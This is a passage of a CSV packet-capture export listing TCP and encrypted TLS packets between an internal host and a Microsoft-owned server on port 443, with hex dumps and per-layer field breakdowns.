data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xe6B\\\\x03[`8e\\\\x87\\\\x14\\\\x8cz\\\\x9bdbw\\\\x83\\\\x1c\\\\x7fD\\\\xdb\\\\xdf\\\\xe7\\\\xe5\\\\xa1\\\\xdf\\\\xd9\\\\xc9tLG\\\\xcb\\\\xdd~\\\\xf5\\\\xd2zh\\\\xe6\\\\x84\\\\x152M\\\\xba\\\\x06\\\\x13|\\\\xa5\\\\xec\\\\x17\\\\xa5y' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:42.079652,47,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3179314215 Ack=4179544098,bc2411360d0cbc24112907bb0800450000284d594000400655ae2863ccc20a98980b01bbf9dbbd807c27f91ec8225010003f97e30000,\".$.6\n..$.)....E..(MY@.@.U.(c..\n.........|'...\"\"P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19801, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21934, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179314215, \"\"ack\"\": 4179544098, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38883, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:42.650325,48,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3179314215 Ack=4179544098,bc2411360d0cbc24112907bb0800450002a34d5a4000400653322863ccc20a98980b01bbf9dbbd807c27f91ec8225018003f9a5e000017030302760000000000000006a7f341b0695823aca578e84d1027e89d4086f7a78ad9bbdb7a0068f1405d279238e0c344c3dd8716196f47768f1974d5638c68c0a1ed854a32ec3f02bf9f0b563402b73a0066656dc04cfab18b6156d42a805d3259c0c7d923ae629e7024f87b562c41360d50a2c4c9d949caf614d679f845ed041192d27de8b373f961ea1873573287d3e5e664e66bdb8b73a49cd6ae8ad9548c5fb67bd79fb3414883ec92f85517eba0440e55d9d968cb027246f81aecf49abfc92b6ee8d894e14bdac3ec5ce9aaa60298e34459a5ed58032c53e4ebbc48eef578330a4019a55460c3916fe270ce082f60ae55f2031bc546153feab9ec9a8fc7d97847c9568bb35647ef13f7a2d7db1419f34e190bcddfe6d817b5fa2546bb6684cac1a020b2cc634ee7952d057bf29064a38df8fa4fece50fe865366f50b20d690144ed1725e7e5bfca6eb2fd4e0e3f068759b66479afe297c3de479d889348fd2617c915f6c81823838caa9ace2559d32cdce11411db717df5628a461e88d4c21d07704a1023755b9efb2d03003eea4b30a40b79f9ec9716a73c8f4e01b817c9763a2b671d8c13c1cd75ccee3a97a5b16a507ed552f3673b8b659ef7fae4fca1c27c9b36e4609979bad75ab10dde511e8f9b25d4a67b59aa484aac14699a451c0587ba036694c7b74b3ee079ddd1e9387e52a9464e1ceb0ab093970da3b8e1073aca963e731b0412ff9d16b431fb540d8fbbe71dd97060f18f8b25e8c50e217522f829ecdf29173ddc49e83331581b9e1bcf9ad14202b8d9dcfcac92d2733cb9df7cc13acf2d63595a45339dea48ebbb722b2b4bc8a3a5f1af8bb7ae436fe34d3cc4100a3fed7d0ddcdd3f80a27af51c3bfc09c386cc1c0494,\".$.6\n..$.)....E...MZ@.@.S2(c..\n.........|'...\"\"P..?.^......v..........A.iX#..x.M.'..@.......z.h.@]'.8..D.....oGv..t.c.h....J2.?....V4..:.fem.L...aV.*.]2Y...#.b.p$.{V,A6\nP....I....y.E.....}..s.a..sW2....d.k..s......T._.{...AH....U...D.U..h..rF.......+n....K...\\......DY..X.,S...H..x3\n@..T`..o.p../`.U....F.?.......xG.V..VG.........N.........%F.f.... ..cN..-.{..d....O....e6oP.\ni.D..%....n..N.?..Y.dy.....G...H.&......#.....%Y.,.....q}.b.F......pJ.#u[..-..>.K0..y.....<.N....v:+g.....u..:...jP~.R.g;.e.......|.6.`.y..Z.\n.Q...%..{Y.HJ..i.E.....f...K>.y...8~R.FN..\n...\n....:..>s.......1.T\n.....p`...%...!u\"\".)..).=.I.31X......B........s<..|.:.-cYZE3..H..r++K........Co.M<..\n?.}\n..?..z..;.\t......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 675, \"\"id\"\": 19802, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21298, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179314215, \"\"ack\"\": 4179544098, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 39518, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 630, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\xa7\\\\xf3A\\\\xb0iX#\\\\xac\\\\xa5x\\\\xe8M\\\\x10\\\\'\\\\xe8\\\\x9d@\\\\x86\\\\xf7\\\\xa7\\\\x8a\\\\xd9\\\\xbb\\\\xdbz\\\\x00h\\\\xf1@]\\\\'\\\\x928\\\\xe0\\\\xc3D\\\\xc3\\\\xdd\\\\x87\\\\x16\\\\x19oGv\\\\x8f\\\\x19t\\\\xd5c\\\\x8ch\\\\xc0\\\\xa1\\\\xed\\\\x85J2\\\\xec?\\\\x02\\\\xbf\\\\x9f\\\\x0bV4\\\\x02\\\\xb7:\\\\x00fem\\\\xc0L\\\\xfa\\\\xb1\\\\x8baV\\\\xd4*\\\\x80]2Y\\\\xc0\\\\xc7\\\\xd9#\\\\xaeb\\\\x9ep$\\\\xf8{V,A6\\\\rP\\\\xa2\\\\xc4\\\\xc9\\\\xd9I\\\\xca\\\\xf6\\\\x14\\\\xd6y\\\\xf8E\\\\xed\\\\x04\\\\x11\\\\x92\\\\xd2}\\\\xe8\\\\xb3s\\\\xf9a\\\\xea\\\\x18sW2\\\\x87\\\\xd3\\\\xe5\\\\xe6d\\\\xe6k\\\\xdb\\\\x8bs\\\\xa4\\\\x9c\\\\xd6\\\\xae\\\\x8a\\\\xd9T\\\\x8c_\\\\xb6{\\\\xd7\\\\x9f\\\\xb3AH\\\\x83\\\\xec\\\\x92\\\\xf8U\\\\x17\\\\xeb\\\\xa0D\\\\x0eU\\\\xd9\\\\xd9h\\\\xcb\\\\x02rF\\\\xf8\\\\x1a\\\\xec\\\\xf4\\\\x9a\\\\xbf\\\\xc9+n\\\\xe8\\\\xd8\\\\x94\\\\xe1K\\\\xda\\\\xc3\\\\xec\\\\\\\\\\\\xe9\\\\xaa\\\\xa6\\\\x02\\\\x98\\\\xe3DY\\\\xa5\\\\xedX\\\\x03,S\\\\xe4\\\\xeb\\\\xbcH\\\\xee\\\\xf5x3\\\\n@\\\\x19\\\\xa5T`\\\\xc3\\\\x91o\\\\xe2p\\\\xce\\\\x08/`\\\\xaeU\\\\xf2\\\\x03\\\\x1b\\\\xc5F\\\\x15?\\\\xea\\\\xb9\\\\xec\\\\x9a\\\\x8f\\\\xc7\\\\xd9xG\\\\xc9V\\\\x8b\\\\xb3VG\\\\xef\\\\x13\\\\xf7\\\\xa2\\\\xd7\\\\xdb\\\\x14\\\\x19\\\\xf3N\\\\x19\\\\x0b\\\\xcd\\\\xdf\\\\xe6\\\\xd8\\\\x17\\\\xb5\\\\xfa%F\\\\xbbf\\\\x84\\\\xca\\\\xc1\\\\xa0 \\\\xb2\\\\xcccN\\\\xe7\\\\x95-\\\\x05{\\\\xf2\\\\x90d\\\\xa3\\\\x8d\\\\xf8\\\\xfaO\\\\xec\\\\xe5\\\\x0f\\\\xe8e6oP\\\\xb2\\\\ri\\\\x01D\\\\xed\\\\x17%\\\\xe7\\\\xe5\\\\xbf\\\\xcan\\\\xb2\\\\xfdN\\\\x0e?\\\\x06\\\\x87Y\\\\xb6dy\\\\xaf\\\\xe2\\\\x97\\\\xc3\\\\xdeG\\\\x9d\\\\x88\\\\x93H\\\\xfd&\\\\x17\\\\xc9\\\\x15\\\\xf6\\\\xc8\\\\x18#\\\\x83\\\\x8c\\\\xaa\\\\x9a\\\\xce%Y\\\\xd3,\\\\xdc\\\\xe1\\\\x14\\\\x11\\\\xdbq}\\\\xf5b\\\\x8aF\\\\x1e\\\\x88\\\\xd4\\\\xc2\\\\x1d\\\\x07pJ\\\\x10#u[\\\\x9e\\\\xfb-\\\\x03\\\\x00>\\\\xeaK0\\\\xa4\\\\x0by\\\\xf9\\\\xec\\\\x97\\\\x16\\\\xa7<\\\\x8fN\\\\x01\\\\xb8\\\\x17\\\\xc9v:+g\\\\x1d\\\\x8c\\\\x13\\\\xc1\\\\xcdu\\\\xcc\\\\xee:\\\\x97\\\\xa5\\\\xb1jP~\\\\xd5R\\\\xf3g;\\\\x8be\\\\x9e\\\\xf7\\\\xfa\\\\xe4\\\\xfc\\\\xa1\\\\xc2|\\\\x9b6\\\\xe4`\\\\x99y\\\\xba\\\\xd7Z\\\\xb1\\\\r\\\\xdeQ\\\\x1e\\\\x8f\\\\x9b%\\\\xd4\\\\xa6{Y\\\\xaaHJ\\\\xac\\\\x14i\\\\x9aE\\\\x1c\\\\x05\\\\x87\\\\xba\\\\x03f\\\\x94\\\\xc7\\\\xb7K>\\\\xe0y\\\\xdd\\\\xd1\\\\xe98~R\\\\xa9FN\\\\x1c\\\\xeb\\\\n\\\\xb0\\\\x93\\\\x97\\\\r\\\\xa3\\\\xb8\\\\xe1\\\\x07:\\\\xca\\\\x96>s\\\\x1b\\\\x04\\\\x12\\\\xff\\\\x9d\\\\x16\\\\xb41\\\\xfbT\\\\r\\\\x8f\\\\xbb\\\\xe7\\\\x1d\\\\xd9p`\\\\xf1\\\\x8f\\\\x8b%\\\\xe8\\\\xc5\\\\x0e!u\\\"\"\\\\xf8)\\\\xec\\\\xdf)\\\\x17=\\\\xdcI\\\\xe831X\\\\x1b\\\\x9e\\\\x1b\\\\xcf\\\\x9a\\\\xd1B\\\\x02\\\\xb8\\\\xd9\\\\xdc\\\\xfc\\\\xac\\\\x92\\\\xd2s<\\\\xb9\\\\xdf|\\\\xc1:\\\\xcf-cYZE3\\\\x9d\\\\xeaH\\\\xeb\\\\xbbr++K\\\\xc8\\\\xa3\\\\xa5\\\\xf1\\\\xaf\\\\x8b\\\\xb7\\\\xaeCo\\\\xe3M<\\\\xc4\\\\x10\\\\n?\\\\xed}\\\\r\\\\xdc\\\\xdd?\\\\x80\\\\xa2z\\\\xf5\\\\x1c;\\\\xfc\\\\t\\\\xc3\\\\x86\\\\xcc\\\\x1c\\\\x04\\\\x94' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:42.650515,49,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4179544098 Ack=3179314850,bc24112907bbbc2411360d0c08004500002813a8400080064f5f0a98980b2863ccc2f9db01bbf91ec822bd807ea2501003fd1b130000,\".$.)...$.6\n...E..(..@...O_\n...(c.........\"\"..~.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5032, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20319, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179544098, \"\"ack\"\": 3179314850, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 6931, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:42.654608,50,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4179544098 Ack=3179314850,bc24112907bbbc2411360d0c08004500009613a9400080064ef00a98980b2863ccc2f9db01bbf91ec822bd807ea2501803fd927800001703030069000000000000000572dcbc371f3a546566999989b70f9172f6ba71518fa7e47b403e04224422ce42f99a7a20d2f7231cfee5982509af8c68acb7edca16935de1689204d873e22d62280b0ecdb0d4addfa57cdb0b4e4322a7b82ef29913cb42a276d3651c8f9c7f56db,\".$.)...$.6\n...E.....@...N.\n...(c.........\"\"..~.P....x......i........r..7.:Tef......r..qQ...{@>.\"\"D\"\".B..z ..#....%\t..h......].h...s.-b(........|..NC\"\".......B.v.e....V.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 150, \"\"id\"\": 5033, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20208, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179544098, \"\"ack\"\": 3179314850, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 37496, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 105, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05r\\\\xdc\\\\xbc7\\\\x1f:Tef\\\\x99\\\\x99\\\\x89\\\\xb7\\\\x0f\\\\x91r\\\\xf6\\\\xbaqQ\\\\x8f\\\\xa7\\\\xe4{@>\\\\x04\\\"\"D\\\"\"\\\\xceB\\\\xf9\\\\x9az \\\\xd2\\\\xf7#\\\\x1c\\\\xfe\\\\xe5\\\\x98%\\\\t\\\\xaf\\\\x8ch\\\\xac\\\\xb7\\\\xed\\\\xca\\\\x16\\\\x93]\\\\xe1h\\\\x92\\\\x04\\\\xd8s\\\\xe2-b(\\\\x0b\\\\x0e\\\\xcd\\\\xb0\\\\xd4\\\\xad\\\\xdf\\\\xa5|\\\\xdb\\\\x0bNC\\\"\"\\\\xa7\\\\xb8.\\\\xf2\\\\x99\\\\x13\\\\xcbB\\\\xa2v\\\\xd3e\\\\x1c\\\\x8f\\\\x9c\\\\x7fV\\\\xdb' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:42.654630,51,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3179314850 Ack=4179544208,bc2411360d0cbc24112907bb0800450000284d5b4000400655ac2863ccc20a98980b01bbf9dbbd807ea2f91ec8905010003f97e30000,\".$.6\n..$.)....E..(M[@.@.U.(c..\n.........~.....P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19803, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21932, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179314850, \"\"ack\"\": 4179544208, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38883, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:42.950086,52,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3179314850 Ack=4179544208,bc2411360d0cbc24112907bb08004500029c4d5c4000400653372863ccc20a98980b01bbf9dbbd807ea2f91ec8905018003f9a570000170303026f0000000000000007c63a6da840003adf6925ae82ac0bee3d989c50d6f78f6c24d224dd7103e178396e780cc2c3922f73e59eb6723195efc479a2f259e3b9bfd279d100c7602d788d1604f87202030e4bd38951a8d0ae27999e66c665287ac4a199473324c2738878d1fc951322ee12e3b2c0b045a8e605eb6fefd25f372660d11cb1e88ade38579df9ae2c11beaab5a7272dc007467444ce9d764b61667480efe5cbe4a275eb2b1877b5bc73827bf84d86b63a0798a2ec16c66d8ca08c1a7ab19d3269e51756a2fb5a12b4fe22103782b28ddf77cad291921a089159758ea89769aaba943d70aa892564d4f37cb338ed7dea9aa14ec19b0c246db7550d9a9fc769fbe770a40895cb644da3c26d0b16486143796197dc97df48ceb556453c5b3eb1298aeb9c994f56ac9e006405a5990aba54f0c881a9c7fe69d24a324e38dd572e7f7ecadf7033a1c3f40c3626d70e924c094e5d71642b426389977d2be0dd13f993a495e4d2cbcc41b896c7f1131a99da7959c77ff12ec44ce7ff8418811ef23a92ce98c9882c61269eea7fabc8dd338c32de741570371028f901ef524ef1f2b6823d66a9a2703faa359f833524bce6932950dddc17da619f939f031d8f02b1b8b90841058fc5cdf48357dd9a26d050ad933ce9aad93fb34b901bb948603b9eebf6b1fcc6bd3d811ac90d9b20e146df62ce28b986b7db62d79fa60593eb83bc5ebfa6e079d7c1912e41c890e89b95d6bff2e916f0f54959f0315ec9eaacf482625df99d980933d4dd6852a910776dd2fbe8284d8087e8799c76c3ea6ef3ef7975361ecd997fb510a866b636444774be74adb66e8ee747f1c112693d1c2d9b2ed751374e08508a0ad81f6b1034db1c,\".$.6\n..$.)....E...M\\@.@.S7(c..\n.........~.....P..?.W......o.........:m.@.:.i%.....=..P...l$.$.q..x9nx..../s...r1...y..Y....y...`-x....r...K..Q...'..f.e(z...G3$.s.x....\"\"......E....o.._7&`......8W...,.....'-..FtD..vKaft......u.+.w..s.{.M..:......m....z..2i..V..Z...\"\".7....w.......Yu...i...=p..%d..|.8.}...N...$m.U\n...i..p....dM..m..HaCya....H..VE<[>.)....OV...d...\n.T......i.J2N8.W..~..p3....6&...L\tN]qd+Bc..}+...........A........yY.....L.......:.....,a&......3.2.t.p7.(...RN....=f..p?.5..5$...)P....a...........A......W..&.P..<...?.K...H`;.......=...\n. .F.b.(....b........^...y....A............IY.1^.....b]...\t3..hR..wm...(M...y.v..n..yu6.......f.6DGt.t..n..G...i=.-...Q7N.P.\n..k.4..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 668, \"\"id\"\": 19804, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21303, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179314850, \"\"ack\"\": 4179544208, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 39511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 623, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xc6:m\\\\xa8@\\\\x00:\\\\xdfi%\\\\xae\\\\x82\\\\xac\\\\x0b\\\\xee=\\\\x98\\\\x9cP\\\\xd6\\\\xf7\\\\x8fl$\\\\xd2$\\\\xddq\\\\x03\\\\xe1x9nx\\\\x0c\\\\xc2\\\\xc3\\\\x92/s\\\\xe5\\\\x9e\\\\xb6r1\\\\x95\\\\xef\\\\xc4y\\\\xa2\\\\xf2Y\\\\xe3\\\\xb9\\\\xbf\\\\xd2y\\\\xd1\\\\x00\\\\xc7`-x\\\\x8d\\\\x16\\\\x04\\\\xf8r\\\\x02\\\\x03\\\\x0eK\\\\xd3\\\\x89Q\\\\xa8\\\\xd0\\\\xae\\\\'\\\\x99\\\\x9ef\\\\xc6e(z\\\\xc4\\\\xa1\\\\x99G3$\\\\xc2s\\\\x88x\\\\xd1\\\\xfc\\\\x95\\\\x13\\\"\"\\\\xee\\\\x12\\\\xe3\\\\xb2\\\\xc0\\\\xb0E\\\\xa8\\\\xe6\\\\x05\\\\xebo\\\\xef\\\\xd2_7&`\\\\xd1\\\\x1c\\\\xb1\\\\xe8\\\\x8a\\\\xde8W\\\\x9d\\\\xf9\\\\xae,\\\\x11\\\\xbe\\\\xaa\\\\xb5\\\\xa7\\\\'-\\\\xc0\\\\x07FtD\\\\xce\\\\x9dvKaft\\\\x80\\\\xef\\\\xe5\\\\xcb\\\\xe4\\\\xa2u\\\\xeb+\\\\x18w\\\\xb5\\\\xbcs\\\\x82{\\\\xf8M\\\\x86\\\\xb6:\\\\x07\\\\x98\\\\xa2\\\\xec\\\\x16\\\\xc6m\\\\x8c\\\\xa0\\\\x8c\\\\x1az\\\\xb1\\\\x9d2i\\\\xe5\\\\x17V\\\\xa2\\\\xfbZ\\\\x12\\\\xb4\\\\xfe\\\"\"\\\\x107\\\\x82\\\\xb2\\\\x8d\\\\xdfw\\\\xca\\\\xd2\\\\x91\\\\x92\\\\x1a\\\\x08\\\\x91Yu\\\\x8e\\\\xa8\\\\x97i\\\\xaa\\\\xba\\\\x94=p\\\\xaa\\\\x89%d\\\\xd4\\\\xf3|\\\\xb38\\\\xed}\\\\xea\\\\x9a\\\\xa1N\\\\xc1\\\\x9b\\\\x0c$m\\\\xb7U\\\\r\\\\x9a\\\\x9f\\\\xc7i\\\\xfb\\\\xe7p\\\\xa4\\\\x08\\\\x95\\\\xcbdM\\\\xa3\\\\xc2m\\\\x0b\\\\x16HaCya\\\\x97\\\\xdc\\\\x97\\\\xdfH\\\\xce\\\\xb5VE<[>\\\\xb1)\\\\x8a\\\\xeb\\\\x9c\\\\x99OV\\\\xac\\\\x9e\\\\x00d\\\\x05\\\\xa5\\\\x99\\\\n\\\\xbaT\\\\xf0\\\\xc8\\\\x81\\\\xa9\\\\xc7\\\\xfei\\\\xd2J2N8\\\\xddW.\\\\x7f~\\\\xca\\\\xdfp3\\\\xa1\\\\xc3\\\\xf4\\\\x0c6&\\\\xd7\\\\x0e\\\\x92L\\\\tN]qd+Bc\\\\x89\\\\x97}+\\\\xe0\\\\xdd\\\\x13\\\\xf9\\\\x93\\\\xa4\\\\x95\\\\xe4\\\\xd2\\\\xcb\\\\xccA\\\\xb8\\\\x96\\\\xc7\\\\xf1\\\\x13\\\\x1a\\\\x99\\\\xdayY\\\\xc7\\\\x7f\\\\xf1.\\\\xc4L\\\\xe7\\\\xff\\\\x84\\\\x18\\\\x81\\\\x1e\\\\xf2:\\\\x92\\\\xce\\\\x98\\\\xc9\\\\x88,a&\\\\x9e\\\\xea\\\\x7f\\\\xab\\\\xc8\\\\xdd3\\\\x8c2\\\\xdet\\\\x15p7\\\\x10(\\\\xf9\\\\x01\\\\xefRN\\\\xf1\\\\xf2\\\\xb6\\\\x82=f\\\\xa9\\\\xa2p?\\\\xaa5\\\\x9f\\\\x835$\\\\xbc\\\\xe6\\\\x93)P\\\\xdd\\\\xdc\\\\x17\\\\xdaa\\\\x9f\\\\x93\\\\x9f\\\\x03\\\\x1d\\\\x8f\\\\x02\\\\xb1\\\\xb8\\\\xb9\\\\x08A\\\\x05\\\\x8f\\\\xc5\\\\xcd\\\\xf4\\\\x83W\\\\xdd\\\\x9a&\\\\xd0P\\\\xad\\\\x93<\\\\xe9\\\\xaa\\\\xd9?\\\\xb3K\\\\x90\\\\x1b\\\\xb9H`;\\\\x9e\\\\xeb\\\\xf6\\\\xb1\\\\xfc\\\\xc6\\\\xbd=\\\\x81\\\\x1a\\\\xc9\\\\r\\\\x9b \\\\xe1F\\\\xdfb\\\\xce(\\\\xb9\\\\x86\\\\xb7\\\\xdbb\\\\xd7\\\\x9f\\\\xa6\\\\x05\\\\x93\\\\xeb\\\\x83\\\\xbc^\\\\xbf\\\\xa6\\\\xe0y\\\\xd7\\\\xc1\\\\x91.A\\\\xc8\\\\x90\\\\xe8\\\\x9b\\\\x95\\\\xd6\\\\xbf\\\\xf2\\\\xe9\\\\x16\\\\xf0\\\\xf5IY\\\\xf01^\\\\xc9\\\\xea\\\\xac\\\\xf4\\\\x82b]\\\\xf9\\\\x9d\\\\x98\\\\t3\\\\xd4\\\\xddhR\\\\xa9\\\\x10wm\\\\xd2\\\\xfb\\\\xe8(M\\\\x80\\\\x87\\\\xe8y\\\\x9cv\\\\xc3\\\\xean\\\\xf3\\\\xefyu6\\\\x1e\\\\xcd\\\\x99\\\\x7f\\\\xb5\\\\x10\\\\xa8f\\\\xb66DGt\\\\xbet\\\\xad\\\\xb6n\\\\x8e\\\\xe7G\\\\xf1\\\\xc1\\\\x12i=\\\\x1c-\\\\x9b.\\\\xd7Q7N\\\\x08P\\\\x8a\\\\n\\\\xd8\\\\x1fk\\\\x104\\\\xdb\\\\x1c' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:42.950316,53,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private 